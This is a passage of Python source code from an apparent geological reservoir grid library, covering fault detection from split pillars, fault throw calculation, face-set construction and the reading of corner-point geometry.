1, the kelp array has zero size, but that seems to be handled okay\n kelp_j = np.zeros((self.extent_kji[1] - 1, self.extent_kji[2]), dtype = 'int') # fault id between cols j, j+1\n kelp_i = np.zeros((self.extent_kji[1], self.extent_kji[2] - 1), dtype = 'int') # fault id between cols i, i+1\n\n last_fault_id = 0\n\n # look for splits affecting j faces\n for j in range(self.extent_kji[1] - 1):\n for i in range(self.extent_kji[2]):\n if i == 0 and (self.pillars_for_column[j, i, 1, 0] != self.pillars_for_column[j + 1, i, 0, 0] or\n self.pillars_for_column[j, i, 1, 1] != self.pillars_for_column[j + 1, i, 0, 1]):\n last_fault_id += 1\n kelp_j[j, i] = last_fault_id\n elif self.pillars_for_column[j, i, 1, 1] != self.pillars_for_column[j + 1, i, 0, 1]:\n if i > 0 and kelp_j[j, i - 1] > 0:\n kelp_j[j, i] = kelp_j[j, i - 1]\n else:\n last_fault_id += 1\n kelp_j[j, i] = last_fault_id\n\n # look for splits affecting i faces\n for i in range(self.extent_kji[2] - 1):\n for j in range(self.extent_kji[1]):\n if j == 0 and (self.pillars_for_column[j, i, 0, 1] != self.pillars_for_column[j, i + 1, 0, 0] or\n self.pillars_for_column[j, i, 1, 1] != self.pillars_for_column[j, i + 1, 1, 0]):\n last_fault_id += 1\n kelp_i[j, i] = last_fault_id\n elif self.pillars_for_column[j, i, 1, 1] != self.pillars_for_column[j, i + 1, 1, 0]:\n if j > 0 and kelp_i[j - 1, i] > 0:\n kelp_i[j, i] = kelp_i[j - 1, i]\n else:\n last_fault_id += 1\n kelp_i[j, i] = last_fault_id\n\n # make pass over kelp to reduce distinct ids: combine where pillar has exactly 2 kelps, one in each of i and j\n if kelp_j.size and kelp_i.size:\n for j in range(self.extent_kji[1] - 1):\n for i in range(self.extent_kji[2] - 1):\n if (bool(kelp_j[j, i]) != bool(kelp_j[j, i + 1])) and (bool(kelp_i[j, i]) != bool(kelp_i[j + 1, i])):\n j_id = kelp_j[j, i] + kelp_j[j, i + 1] # ie. the non-zero value\n i_id = kelp_i[j, i] + kelp_i[j + 1, i]\n if j_id == i_id: continue\n# log.debug('merging fault id {} into {}'.format(i_id, j_id))\n kelp_i = np.where(kelp_i == i_id, j_id, kelp_i)\n kelp_j = np.where(kelp_j == i_id, j_id, kelp_j)\n\n fault_id_list = np.unique(np.concatenate((np.unique(kelp_i.flatten()), np.unique(kelp_j.flatten()))))[1:] # discard zero from list\n log.info('number of distinct faults: ' + str(fault_id_list.size))\n # for each fault id, make pair of tuples of kelp locations\n self.fault_dict = {} # maps fault_id to pair (j faces, i faces) of array of [j, i] kelp indices for that fault_id\n for fault_id in fault_id_list:\n self.fault_dict[fault_id] = (np.stack(np.where(kelp_j == fault_id), axis = 1),\n np.stack(np.where(kelp_i == fault_id), axis = 1))\n self.fault_id_j = kelp_j.copy() # fault_id for each internal j kelp, zero is none; extent nj-1, ni\n self.fault_id_i = kelp_i.copy() # fault_id for each internal i kelp, zero is none; extent nj, ni-1\n if set_face_sets:\n for f, (j_list, i_list) in self.fault_dict.items():\n self.face_set_dict[f] = (j_list, i_list, 'K')\n self.set_face_set_gcs_list_from_dict(self.fault_dict, create_organizing_objects_where_needed)\n return (self.fault_id_j, self.fault_id_i)\n\n\n def fault_throws(self):\n \"\"\"Finds mean throw of each J and I face; adds throw arrays as attributes to this grid and returns them.\n\n note:\n this method is deprecated, or due for overhaul to make compatible with resqml_fault module and the\n GridConnectionSet class\n \"\"\"\n\n if hasattr(self, 'fault_throw_j') and self.fault_throw_j is not None and hasattr(self, 'fault_throw_i') and self.fault_throw_i is not None:\n return (self.fault_throw_j, self.fault_throw_i)\n if not self.has_split_coordinate_lines: return None\n if not hasattr(self, 'fault_id_j') or self.fault_id_j is None or not hasattr(self, 'fault_id_i') or self.fault_id_i is None:\n self.find_faults()\n if not hasattr(self, 'fault_id_j'): return None\n log.debug('computing fault throws (deprecated method)')\n cp = self.corner_points(cache_cp_array = True)\n self.fault_throw_j = np.zeros((self.nk, self.nj - 1, self.ni))\n self.fault_throw_i = np.zeros((self.nk, self.nj, self.ni - 1))\n self.fault_throw_j = np.where(self.fault_id_j == 0, 0.0, 0.25 * np.sum(cp[:, 1:, :, :, 0, :, 2] - cp[:, :-1, :, :, 1, :, 2], axis = (3, 4)))\n self.fault_throw_i = np.where(self.fault_id_i == 0, 0.0, 0.25 * np.sum(cp[:, :, 1:, :, :, 0, 2] - cp[:, :, -1:, :, :, 1, 2], axis = (3, 4)))\n return (self.fault_throw_j, self.fault_throw_i)\n\n\n def fault_throws_per_edge_per_column(self, mode = 'maximum', simple_z = False, axis_polarity_mode = True):\n \"\"\"Returns numpy array of shape (nj, ni, 2, 2) or (nj, ni, 4) holding max, mean or min throw based on split node separations.\n\n arguments:\n mode (string, default 'maximum'): one of 'minimum', 'mean', 'maximum'; determines how to resolve variation in throw for\n each column edge\n simple_z (boolean, default False): if True, the returned throw values are vertical offsets; if False, the displacement\n in xyz space between split points is the basis of the returned values and may include a lateral offset component as\n well as xy displacement due to sloping pillars\n axis_polarity (boolean, default True): determines shape and ordering of returned array; if True, the returned array has\n shape (nj, ni, 2, 2); if False the shape is (nj, ni, 4); see return value notes for more information\n\n returns:\n numpy float array of shape (nj, ni, 2, 2) or (nj, ni, 4) holding fault throw values for each column edge; units are\n z units of crs for this grid; if simple_z is False, xy units and z units must be the same; positive values indicate\n greater depth if z is increasing downwards (or shallower if z is increasing upwards); negative values indicate the\n opposite; the shape and ordering of the returned array is determined by axis_polarity_mode; if axis_polarity_mode is\n True, the returned array has shape (nj, ni, 2, 2) with the third index being axis (0 = J, 1 = I) and the final index\n being polarity (0 = minus face edge, 1 = plus face edge); if axis_polarity_mode is False, the shape is (nj, ni, 4)\n and the face edges are ordered I-, J+, I+, J-, as required by the resqml standard for a property with indexable\n element 'edges per column'\n\n notes:\n the throws calculated by this method are based merely on grid geometry and do not refer to grid connection sets;\n NB: the same absolute value is returned, with opposite sign, for the edges on opposing sides of a fault; either one of\n these alone indicates the full throw;\n the property module contains a pair of reformatting functions for moving an array between the two axis polarity modes;\n minimum and maximum modes work on the absolute throws\n \"\"\"\n\n assert mode in ['maximum', 'mean', 'minimum']\n if not simple_z: assert self.z_units() == self.xy_units()\n\n log.debug('computing fault throws per edge per column based on corner point geometry')\n if not self.has_split_coordinate_lines: # note: no NaNs returned in this situation\n if axis_polarity_mode: return np.zeros((self.nj, self.ni, 2, 2))\n return np.zeros((self.nj, self.ni, 4))\n self.create_column_pillar_mapping()\n i_pillar_throws = (self.points_cached[:, self.pillars_for_column[:, :-1, :, 1], 2] - # (nk+1, nj, ni-1, jp) +ve dz I- cell > I+ cell\n self.points_cached[:, self.pillars_for_column[:, 1:, :, 0], 2])\n j_pillar_throws = (self.points_cached[:, self.pillars_for_column[:-1, :, 1, :], 2] -\n self.points_cached[:, self.pillars_for_column[1:, :, 0, :], 2])\n if not simple_z:\n i_pillar_throws = np.sign(i_pillar_throws) # note: will return zero if displacement is purely horizontal wrt. z axis\n j_pillar_throws = np.sign(j_pillar_throws)\n i_pillar_throws *= vec.naive_lengths(self.points_cached[:, self.pillars_for_column[:, :-1, :, 1], :] -\n self.points_cached[:, self.pillars_for_column[:, 1:, :, 0], :])\n j_pillar_throws *= vec.naive_lengths(self.points_cached[:, self.pillars_for_column[:-1, :, 1, :], :] -\n self.points_cached[:, self.pillars_for_column[1:, :, 0, :], :])\n\n if mode == 'mean':\n i_edge_throws = np.nanmean(i_pillar_throws, axis = (0, -1)) # (nj, ni-1)\n j_edge_throws = np.nanmean(j_pillar_throws, axis = (0, -1)) # (nj-1, ni)\n else:\n min_i_edge_throws = np.nanmean(np.nanmin(i_pillar_throws, axis = 0), axis = -1)\n max_i_edge_throws = np.nanmean(np.nanmax(i_pillar_throws, axis = 0), axis = -1)\n min_j_edge_throws = np.nanmean(np.nanmin(j_pillar_throws, axis = 0), axis = -1)\n max_j_edge_throws = np.nanmean(np.nanmax(j_pillar_throws, axis = 0), axis = -1)\n i_flip_mask = (np.abs(min_i_edge_throws) > np.abs(max_i_edge_throws))\n j_flip_mask = (np.abs(min_j_edge_throws) > np.abs(max_j_edge_throws))\n if mode == 'maximum':\n i_edge_throws = np.where(i_flip_mask, min_i_edge_throws, max_i_edge_throws)\n j_edge_throws = np.where(j_flip_mask, min_j_edge_throws, max_j_edge_throws)\n elif mode == 'minimum':\n i_edge_throws = np.where(i_flip_mask, max_i_edge_throws, min_i_edge_throws)\n j_edge_throws = np.where(j_flip_mask, max_j_edge_throws, min_j_edge_throws)\n else:\n raise Exception('code failure')\n\n # positive values indicate column has greater z values, ie. downthrown if z increases with depth\n if axis_polarity_mode:\n throws = np.zeros((self.nj, self.ni, 2, 2)) # first 2 is I (0) or J (1); final 2 is -ve or +ve face\n throws[1:, :, 0, 0] = -j_edge_throws # J-\n throws[:-1, :, 0, 1] = j_edge_throws # J+\n throws[:, 1:, 1, 0] = -i_edge_throws # I-\n throws[:, :-1, 1, 1] = i_edge_throws # I+\n\n else: # resqml protocol\n # order I-, J+, I+, J- as required for properties with 'edges per column' indexable element\n throws = np.zeros((self.nj, self.ni, 4))\n throws[:, 1:, 0] = -i_edge_throws # I-\n throws[:-1, :, 1] = j_edge_throws # J+\n throws[:, :-1, 2] = i_edge_throws # I+\n throws[1:, :, 3] = -j_edge_throws # J-\n\n return throws\n\n\n def clear_face_sets(self):\n \"\"\"Discard face sets.\"\"\"\n # following maps face_set_id to (j faces, i faces, 'K') of array of [j, i] kelp indices for that face_set_id\n # or equivalent for axes 'J' or 'I'\n self.face_set_dict = {}\n self.face_set_gcs_list = []\n\n\n def set_face_set_gcs_list_from_dict(self, face_set_dict = None, create_organizing_objects_where_needed = False):\n \"\"\"Creates a grid connection set for each feature in the face set dictionary, based on kelp list pairs.\"\"\"\n\n if face_set_dict is None: face_set_dict = self.face_set_dict\n self.face_set_gcs_list = []\n for feature in face_set_dict:\n gcs = rqf.GridConnectionSet(self.model, grid = self)\n kelp_j, kelp_i, axis = face_set_dict[feature]\n log.debug(f'creating gcs for: {feature} {axis}')\n gcs.set_pairs_from_kelp(kelp_j, kelp_i, feature, create_organizing_objects_where_needed, axis = axis)\n self.face_set_gcs_list.append(gcs)\n\n\n # TODO: make separate curtain and K-face versions of following function\n def make_face_set_from_dataframe(self, df):\n \"\"\"Creates a curtain face set for each named fault in dataframe.\n\n note:\n this method is deprecated, or due for overhaul to make compatible with resqml_fault module and the\n GridConnectionSet class\n \"\"\"\n\n # df columns: name, i1, i2, j1, j2, k1, k2, face\n self.clear_face_sets()\n names = pd.unique(df.name)\n count = 0\n box_kji0 = np.zeros((2, 3), dtype = int)\n k_warning_given = False\n for fs_name in names:\n i_kelp_list = []\n j_kelp_list = []\n # ignore k faces for now\n fs_ds = df[df.name == fs_name]\n for row in range(len(fs_ds)):\n face = fs_ds.iloc[row]['face']\n fl = face[0].upper()\n if fl in 'IJK': axis = 'KJI'.index(fl)\n elif fl in 'XYZ': axis = 'ZYX'.index(fl)\n else: raise ValueError('fault data face not recognized: ' + face)\n if axis == 0: continue # ignore k faces for now\n box_kji0[0, 0] = fs_ds.iloc[row]['k1'] - 1 # k1\n box_kji0[1, 0] = fs_ds.iloc[row]['k2'] - 1 # k2\n box_kji0[0, 1] = fs_ds.iloc[row]['j1'] - 1 # j1\n box_kji0[1, 1] = fs_ds.iloc[row]['j2'] - 1 # j2\n box_kji0[0, 2] = fs_ds.iloc[row]['i1'] - 1 # i1\n box_kji0[1, 2] = fs_ds.iloc[row]['i2'] - 1 # i2\n box_kji0[1, 0] = min(box_kji0[1, 0], self.extent_kji[0] - 1)\n if not k_warning_given and (box_kji0[0, 0] != 0 or box_kji0[1, 0] != self.extent_kji[0] - 1):\n log.warning('one or more entries in face set dataframe does not cover entire layer range: extended to all layers')\n k_warning_given = True\n if len(face) > 1 and face[1] == '-': # treat negative faces as positive faces of neighbouring cell\n box_kji0[0, axis] = max(box_kji0[0, axis] - 1, 0)\n box_kji0[1, axis] -= 1\n else:\n box_kji0[1, axis] = min(box_kji0[1, axis], self.extent_kji[axis] - 2)\n if box_kji0[1, axis] < box_kji0[0, axis]: continue # faces are all on edge of grid\n # for now ignore layer range and create curtain of j and i kelp\n for j in range(box_kji0[0, 1], box_kji0[1, 1] + 1):\n for i in range(box_kji0[0, 2], box_kji0[1, 2] + 1):\n if axis == 1:\n _add_to_kelp_list(self.extent_kji, j_kelp_list, True, (j, i))\n elif axis == 2:\n _add_to_kelp_list(self.extent_kji, i_kelp_list, False, (j, i))\n self.face_set_dict[fs_name] = (j_kelp_list, i_kelp_list, 'K')\n count += 1\n log.info(str(count) + ' face sets extracted from dataframe')\n\n\n def make_face_sets_from_pillar_lists(self, pillar_list_list, face_set_id, axis = 'K',\n ref_slice0 = 0, plus_face = False, projection = 'xy'):\n \"\"\"Creates a curtain face set for each pillar (or rod) list.\n\n returns:\n (face_set_dict, full_pillar_list_dict)\n\n note:\n 'xz' and 'yz' projections currently only supported for unsplit grids\n \"\"\"\n\n # NB. this code was originally written for axis K and projection xy, working with horizon points\n # it has since been reworked for the cross sectional cases, so variables named 'pillar...' may refer to rods\n # and i_... and j_... may actually represent i,j or i,k or j,k\n\n assert axis in ['K', 'J', 'I']\n assert projection in ['xy', 'xz', 'yz']\n\n local_face_set_dict = {}\n full_pillar_list_dict = {}\n\n if not hasattr(self, 'face_set_dict'): self.clear_face_sets()\n\n if axis.upper() == 'K':\n assert projection == 'xy'\n pillar_xy = self.horizon_points(ref_k0 = ref_slice0, kp = 1 if plus_face else 0)[:, :, 0:2]\n kelp_axes = 'JI'\n else:\n if projection == 'xz':\n pillar_xy = self.unsplit_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face)[:, :, 0:3:2] # x,z\n else: # projection == 'yz'\n pillar_xy = self.unsplit_x_section_points(axis, ref_slice0 = ref_slice0, plus_face = plus_face)[:, :, 1:] # y,z\n if axis.upper() == 'J': kelp_axes = 'KI'\n else: kelp_axes = 'KJ'\n kelp_axes_int = np.empty((2,), dtype = int)\n for a in range(2):\n kelp_axes_int[a] = 'KJI'.index(kelp_axes[a])\n# self.clear_face_sets() # now accumulating sets\n face_set_count = 0\n here = np.zeros(2, dtype = int)\n side_step = np.zeros(2, dtype = int)\n for pillar_list in pillar_list_list:\n if len(pillar_list) < 2: continue\n full_pillar_list = [pillar_list[0]]\n face_set_count += 1\n if len(pillar_list_list) > 1:\n id_suffix = '_line_' + str(face_set_count)\n else:\n id_suffix = ''\n # i,j are as stated if axis is 'K'; for axis 'J', i,j are actually i,k; for axis 'I', i,j are actually j,k\n i_kelp_list = []\n j_kelp_list = []\n for p in range(len(pillar_list) - 1):\n ji_0 = pillar_list[p]\n ji_1 = pillar_list[p + 1]\n if np.all(ji_0 == ji_1): continue\n # xy might actually be xy, xz or yz depending on projection\n xy_0 = pillar_xy[tuple(ji_0)]\n xy_1 = pillar_xy[tuple(ji_1)]\n if vec.isclose(xy_0, xy_1): continue\n dj = ji_1[0] - ji_0[0]\n di = ji_1[1] - ji_0[1]\n abs_dj = abs(dj)\n abs_di = abs(di)\n if dj < 0: j_sign = -1\n else: j_sign = 1\n if di < 0: i_sign = -1\n else: i_sign = 1\n here[:] = ji_0\n while np.any(here != ji_1):\n previous = here.copy() # debug\n if abs_dj >= abs_di:\n j = here[0]\n if j != ji_1[0]:\n jp = j + j_sign\n _add_to_kelp_list(self.extent_kji, i_kelp_list, kelp_axes[1], (min(j, jp), here[1] - 1))\n here[0] = jp\n full_pillar_list.append(tuple(here))\n if di != 0:\n divergence = vec.point_distance_to_line_2d(pillar_xy[tuple(here)], xy_0, xy_1)\n side_step[:] = here\n side_step[1] += i_sign\n if side_step[1] >= 0 and side_step[1] <= self.extent_kji[kelp_axes_int[1]]:\n stepped_divergence = vec.point_distance_to_line_2d(pillar_xy[tuple(side_step)], xy_0, xy_1)\n if stepped_divergence < divergence:\n here[:] = side_step\n _add_to_kelp_list(self.extent_kji, j_kelp_list, kelp_axes[0], (here[0] - 1, min(here[1], here[1] - i_sign)))\n full_pillar_list.append(tuple(here))\n else:\n i = here[1]\n if i != ji_1[1]:\n ip = i + i_sign\n _add_to_kelp_list(self.extent_kji, j_kelp_list, kelp_axes[0], (here[0] - 1, min(i, ip)))\n here[1] = ip\n full_pillar_list.append(tuple(here))\n if dj != 0:\n divergence = vec.point_distance_to_line_2d(pillar_xy[tuple(here)], xy_0, xy_1)\n side_step[:] = here\n side_step[0] += j_sign\n if side_step[0] >= 0 and side_step[0] <= self.extent_kji[kelp_axes_int[0]]:\n stepped_divergence = vec.point_distance_to_line_2d(pillar_xy[tuple(side_step)], xy_0, xy_1)\n if stepped_divergence < divergence:\n here[:] = side_step\n _add_to_kelp_list(self.extent_kji, i_kelp_list, kelp_axes[1], (min(here[0], here[0] - j_sign), here[1] - 1))\n full_pillar_list.append(tuple(here))\n assert np.any(here != previous), 'failed to move'\n self.face_set_dict[face_set_id + id_suffix] = (j_kelp_list, i_kelp_list, axis)\n local_face_set_dict[face_set_id + id_suffix] = (j_kelp_list, i_kelp_list, axis)\n full_pillar_list_dict[face_set_id + id_suffix] = full_pillar_list.copy()\n\n return local_face_set_dict, full_pillar_list_dict\n\n\n def check_top_and_base_cell_edge_directions(self):\n \"\"\"checks grid top face I & J edge vectors (in x,y) against basal equivalents: max 90 degree angle tolerated\n\n returns: boolean: True if all checks pass; False if one or more checks fail\n\n notes:\n similarly checks cell edge directions in neighbouring cells in top (and separately in base)\n currently requires geometry to be defined for all pillars\n logs a warning if a check is not passed\n \"\"\"\n\n log.debug('deriving cell edge vectors at top and base (for checking)')\n self.point(cache_array = True)\n good = True\n if self.has_split_coordinate_lines:\n # build top and base I & J cell edge vectors\n self.create_column_pillar_mapping() # pillar indices for 4 columns around interior pillars\n top_j_edge_vectors_p = np.zeros((self.nj, self.ni, 2, 2)) # third axis is ip\n top_i_edge_vectors_p = np.zeros((self.nj, 2, self.ni, 2)) # second axis is jp\n base_j_edge_vectors_p = np.zeros((self.nj, self.ni, 2, 2)) # third axis is ip\n base_i_edge_vectors_p = np.zeros((self.nj, 2, self.ni, 2)) # second axis is jp\n # todo: rework as numpy operations across nj & ni\n for j in range(self.nj):\n for i in range(self.ni):\n for jip in range(2): # serves as either jp or ip\n top_j_edge_vectors_p[j, i, jip, :] = (self.points_cached[0, self.pillars_for_column[j, i, 1, jip], :2] -\n self.points_cached[0, self.pillars_for_column[j, i, 0, jip], :2])\n base_j_edge_vectors_p[j, i, jip, :] = (self.points_cached[self.nk_plus_k_gaps, self.pillars_for_column[j, i, 1, jip], :2] -\n self.points_cached[self.nk_plus_k_gaps, self.pillars_for_column[j, i, 0, jip], :2])\n top_i_edge_vectors_p[j, jip, i, :] = (self.points_cached[0, self.pillars_for_column[j, i, jip, 1], :2] -\n self.points_cached[0, self.pillars_for_column[j, i, jip, 0], :2])\n base_i_edge_vectors_p[j, jip, i, :] = (self.points_cached[self.nk_plus_k_gaps, self.pillars_for_column[j, i, jip, 1], :2] -\n self.points_cached[self.nk_plus_k_gaps, self.pillars_for_column[j, i, jip, 0], :2])\n # reshape to allow common checking code with unsplit grid vectors (below)\n top_j_edge_vectors = top_j_edge_vectors_p.reshape((self.nj, 2 * self.ni, 2))\n top_i_edge_vectors = top_i_edge_vectors_p.reshape((2 * self.nj, self.ni, 2))\n base_j_edge_vectors = base_j_edge_vectors_p.reshape((self.nj, 2 * self.ni, 2))\n base_i_edge_vectors = base_i_edge_vectors_p.reshape((2 * self.nj, self.ni, 2))\n else:\n top_j_edge_vectors = (self.points_cached[0, 1:, :, :2] - self.points_cached[0, :-1, :, :2]).reshape((self.nj, self.ni + 1, 2))\n top_i_edge_vectors = (self.points_cached[0, :, 1:, :2] - self.points_cached[0, :, :-1, :2]).reshape((self.nj + 1, self.ni, 2))\n base_j_edge_vectors = (self.points_cached[-1, 1:, :, :2] - self.points_cached[-1, :-1, :, :2]).reshape((self.nj, self.ni + 1, 2))\n base_i_edge_vectors = (self.points_cached[-1, :, 1:, :2] - self.points_cached[-1, :, :-1, :2]).reshape((self.nj + 1, self.ni, 2))\n log.debug('checking relative direction of top and base edges')\n # check direction of top edges against corresponding base edges, tolerate upto 90 degree difference\n dot_j = np.sum(top_j_edge_vectors * base_j_edge_vectors, axis = 2)\n dot_i = np.sum(top_i_edge_vectors * base_i_edge_vectors, axis = 2)\n if not np.all(dot_j >= 0.0) and np.all(dot_i >= 0.0):\n log.warning('one or more columns of cell edges flip direction: this grid is probably unusable')\n good = False\n log.debug('checking relative direction of edges in neighbouring cells at top of grid (and base)')\n # check direction of similar edges on neighbouring cells, tolerate upto 90 degree difference\n dot_jp = np.sum(top_j_edge_vectors[1:, :, :] * top_j_edge_vectors[:-1, :, :], axis = 2)\n dot_ip = np.sum(top_i_edge_vectors[1:, :, :] * top_i_edge_vectors[:-1, :, :], axis = 2)\n if not np.all(dot_jp >= 0.0) and np.all(dot_ip >= 0.0):\n log.warning('top cell edges for neighbouring cells flip direction somewhere: this grid is probably unusable')\n good = False\n dot_jp = np.sum(base_j_edge_vectors[1:, :, :] * base_j_edge_vectors[:-1, :, :], axis = 2)\n dot_ip = np.sum(base_i_edge_vectors[1:, :, :] * base_i_edge_vectors[:-1, :, :], axis = 2)\n if not np.all(dot_jp >= 0.0) and np.all(dot_ip >= 0.0):\n log.warning('base cell edges for neighbouring cells flip direction somewhere: this grid is probably unusable')\n good = False\n return good\n\n\n def point_raw(self, index = None, points_root = None, cache_array = True):\n \"\"\"Returns element from points data, indexed as in the hdf5 file; can optionally be used to cache points data.\n\n arguments:\n index (2 or 3 integers, optional): if not None, the index into the raw points data for the point of interest\n points_root (optional): the xml node holding the points data\n cache_array (boolean, default True): if True, the raw points data is cached in memory as a side effect\n\n returns:\n (x, y, z) of selected point as a 3 element numpy vector, or None if index is None\n\n notes:\n this function is typically called either to cache the points data in memory, or to fetch the coordinates of\n a single point; the details of the indexing depend upon whether the grid has split coordinate lines: if not,\n the index should be a triple kji0 with axes ranging over the shared corners nk+k_gaps+1, nj+1, ni+1; if there\n are split pillars, index should be a pair, being the k0 in range nk+k_gaps+1 and a pillar index; note that if\n index is passed, the k0 element must already have been mapped to the raw index value taking into consideration\n any k gaps; if the grid object does not include geometry then None is returned\n \"\"\"\n\n # NB: shape of index depends on whether grid has split pillars\n if index is not None and not self.geometry_defined_for_all_pillars(cache_array = cache_array):\n if len(index) == 3: ji = tuple(index[1:])\n else: ji = tuple(divmod(index[1], self.ni))\n if ji[0] < self.nj and not self.pillar_geometry_is_defined(ji, cache_array = cache_array):\n return None\n if self.points_cached is not None:\n if index is None: return self.points_cached\n return self.points_cached[tuple(index)]\n p_root = self.resolve_geometry_child('Points', child_node = points_root)\n if p_root is None:\n log.debug('point_raw() returning None as geometry not present')\n return None # geometry not present\n assert rqet.node_type(p_root) == 'Point3dHdf5Array'\n h5_key_pair = self.model.h5_uuid_and_path_for_node(p_root, tag = 'Coordinates')\n if h5_key_pair is None: return None\n if self.has_split_coordinate_lines: required_shape = None\n else: required_shape = (self.nk_plus_k_gaps + 1, self.nj + 1, self.ni + 1, 3)\n try:\n value = self.model.h5_array_element(h5_key_pair, index = index, cache_array = cache_array,\n object = self, array_attribute = 'points_cached',\n required_shape = required_shape)\n except:\n log.error('hdf5 points failure for index: ' + str(index))\n raise\n if index is None: return self.points_cached\n return value\n\n\n def point(self, cell_kji0 = None, corner_index = np.zeros(3, dtype = 'int'), points_root = None, cache_array = True):\n \"\"\"Return a cell corner point xyz; can optionally be used to cache points data.\n\n arguments:\n cell_kji0 (3 integers, optional): if not None, the index of the cell for the point of interest, in kji0 protocol\n corner_index (3 integers, default zeros): the kp, jp, ip corner-within-cell indices (each 0 or 1)\n points_root (optional): the xml node holding the points data\n cache_array (boolean, default True): if True, the raw points data is cached in memory as a side effect\n\n returns:\n (x, y, z) of selected point as a 3 element numpy vector, or None if cell_kji0 is None\n\n note:\n if cell_kji0 is passed, the k0 value should be the layer index before adjustment for k_gaps, which this\n method will apply\n \"\"\"\n\n if cache_array and self.points_cached is None: self.point_raw(points_root = points_root, cache_array = True)\n if cell_kji0 is None: return None\n if self.k_raw_index_array is None: self.extract_k_gaps()\n if not self.geometry_defined_for_all_cells():\n if not self.cell_geometry_is_defined(cell_kji0, cache_array = cache_array): return None\n p_root = self.resolve_geometry_child('Points', child_node = points_root)\n# if p_root is None: return None # geometry not present\n index = np.zeros(3, dtype = int)\n index[:] = cell_kji0\n index[0] = self.k_raw_index_array[index[0]] # adjust for k gaps\n if self.has_split_coordinate_lines:\n self.create_column_pillar_mapping()\n pillar_index = self.pillars_for_column[index[1], index[2], corner_index[1], corner_index[2]]\n return self.point_raw(index = (index[0] + corner_index[0], pillar_index), points_root = p_root, cache_array = cache_array)\n else:\n index[:] += corner_index\n return self.point_raw(index = index, points_root = p_root, cache_array = cache_array)\n\n\n def points_ref(self, masked = True):\n \"\"\"Returns an in-memory numpy array containing the xyz data for points used in the grid geometry.\n\n argument:\n masked (boolean, default True): if True, a masked array is returned with NaN points masked out;\n if False, a simple (unmasked) numpy array is returned\n\n returns:\n numpy array or masked array of float, of shape (nk + k_gaps + 1, nj + 1, ni + 1, 3) or (nk + k_gaps + 1, np, 3)\n where np is the total number of pillars (primary pillars + extras for split pillars)\n\n notes:\n this is the usual way to get at the actual grid geometry points data in the native resqml layout;\n the has_split_coordinate_lines boolean attribute can be used to determine which shape to expect;\n the shape is (nk + k_gaps + 1, nj + 1, ni + 1, 3) if there are no split coordinate lines (unfaulted);\n otherwise it is (nk + k_gaps + 1, np, 3), where np > (nj + 1) * (ni + 1), due to extra pillar data for\n the split pillars\n\n :meta common:\n \"\"\"\n\n if self.points_cached is None:\n self.point(cache_array = True)\n if self.points_cached is None:\n return None\n if not masked: return self.points_cached\n return ma.masked_invalid(self.points_cached)\n\n\n def uncache_points(self):\n \"\"\"Frees up memory by removing the cached copy of the grid's points data.\n\n note:\n the memory will only actually become free when any other references to it pass out of scope\n or are deleted\n \"\"\"\n\n if self.points_cached is not None:\n del self.points_cached\n self.points_cached = None\n\n\n def unsplit_points_ref(self, cache_array = False, masked = False):\n \"\"\"Returns a copy of the points array that has split pillars merged back into an unsplit configuration.\n\n arguments:\n cache_array (boolean, default False): if True, a copy of the unsplit points array is added as\n attribute array_unsplit_points to this grid object\n masked (boolean, default False): if True, a masked array is returned with NaN points masked out;\n if False, a simple (unmasked) numpy array is returned\n\n returns:\n numpy array of float of shape (nk + k_gaps + 1, nj + 1, ni + 1, 3)\n\n note:\n for grids without split pillars, this function simply returns the points array in its native form;\n for grids with split pillars, an unsplit equivalent points array is calculated as the average of\n contributions to each pillar from the surrounding cell columns\n \"\"\"\n\n if hasattr(self, 'array_unsplit_points'): return self.array_unsplit_points\n points = self.points_ref(masked = masked)\n if not self.has_split_coordinate_lines:\n if cache_array:\n self.array_unsplit_points = points.copy()\n return self.array_unsplit_points\n return points\n # todo: finish version that copies primaries and only modifies split pillars?\n # njkp1 = (self.nj + 1) * (self.ni + 1)\n # merged_points = np.empty((self.nk + 1, njkp1, 3)) # shaped somewhat like split points array\n # merged_points[:, :, :] = points[:, :njkp1, :] # copy primary data\n result = np.empty((self.nk_plus_k_gaps + 1, self.nj + 1, self.ni + 1, 3))\n # todo: if not geometry defined for all cells, take nanmean of four points?\n # compute for internal pillars\n self.create_column_pillar_mapping() # pillar indices for 4 columns around interior pillars\n pfc_11 = self.pillars_for_column[:-1, :-1, 1, 1]\n pfc_10 = self.pillars_for_column[:-1, 1:, 1, 0]\n pfc_01 = self.pillars_for_column[1:, :-1, 0, 1]\n pfc_00 = self.pillars_for_column[1:, 1:, 0, 0]\n result[:, 1:-1, 1:-1, :] = 0.25 * (points[:, pfc_11, :] + points[:, pfc_10, :] +\n points[:, pfc_01, :] + points[:, pfc_00, :])\n # edges\n # todo: use numpy array operations instead of for loops (see lines above for example code)\n for j in range(1, self.nj):\n result[:, j, 0, :] = 0.5 * (points[:, self.pillars_for_column[j - 1, 0, 1, 0], :] +\n points[:, self.pillars_for_column[j, 0, 0, 0], :])\n result[:, j, self.ni, :] = 0.5 * (points[:, self.pillars_for_column[j - 1, self.ni - 1, 1, 1], :] +\n points[:, self.pillars_for_column[j, self.ni - 1, 0, 1], :])\n for i in range(1, self.ni):\n result[:, 0, i, :] = 0.5 * (points[:, self.pillars_for_column[0, i - 1, 0, 1], :] +\n points[:, self.pillars_for_column[0, i, 0, 0], :])\n result[:, self.nj, i, :] = 0.5 * (points[:, self.pillars_for_column[self.nj - 1, i - 1, 1, 1], :] +\n points[:, self.pillars_for_column[self.nj - 1, i, 1, 0], :])\n # corners (could optimise as these should always be primaries\n result[:, 0, 0, :] = points[:, self.pillars_for_column[0, 0, 0, 0], :]\n result[:, 0, self.ni, :] = points[:, self.pillars_for_column[0, self.ni - 1, 0, 1], :]\n result[:, self.nj, 0, :] = points[:, self.pillars_for_column[self.nj - 1, 0, 1, 0], :]\n result[:, self.nj, self.ni, :] = points[:, self.pillars_for_column[self.nj - 1, self.ni - 1, 1, 1], :]\n if cache_array:\n self.array_unsplit_points = result\n return self.array_unsplit_points\n return result\n\n\n def xyz_box(self, points_root = None, lazy = True, local = False):\n \"\"\"Returns the minimum and maximum xyz for the grid geometry.\n\n arguments:\n points_root (optional): if not None, the xml root node for the points data (speed optimization)\n lazy (boolean, default True): if True, only the 8 outermost logical corners of the grid are used\n to determine the ranges of xyz; if False, all the points in the entire grid are scanned to\n determine the xyz ranges in an exhaustive manner\n local (boolean, default False): if True, the xyz ranges that are returned are in the local\n coordinate space, otherwise the global (crs parent) coordinate space\n\n returns:\n numpy array of float of shape (2, 3); the first axis is minimum, maximum; the second axis is x, y, z\n\n note:\n if the lazy argument is True, the results are 